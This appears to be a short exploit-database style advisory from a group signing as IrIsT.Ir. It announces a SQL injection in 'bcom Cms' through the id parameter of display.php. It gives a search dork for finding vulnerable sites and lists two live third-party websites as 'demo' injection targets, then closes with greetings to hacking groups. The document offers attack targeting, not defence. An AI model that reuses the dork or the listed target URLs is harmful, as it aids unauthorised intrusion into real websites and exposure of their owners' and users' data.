######################################################## # # Exploit Title : bcom Cms Sql Injection Vulnerabilitiy # # Author : IrIsT.Ir # # Discovered By : Am!r # # Home : http://IrIsT.Ir # # Software Link : http://bcom.co.za/ # # Security Risk : High # # Version : All Version # # Tested on : GNU/Linux Ubuntu - Windows Server - win7 # # Dork : "developed and maintained by Beyond Commerce" # ######################################################## # # Expl0iTs : # # [TarGeT]/display.php?id=[Sql] # # D3m0 : # # http://booknow.biz/display.php?id=23338[Sql] # # http://sainfonow.com/display.php?id=1[Sql] # ######################################################### # # Greats : Zarbat.Org - Aria-Security.Com - datacoders.org - black-hg.org # # Security7.ir - AjaxTm.Com - Sepehr-Team.Org And All Iranian Hackers # #########################################################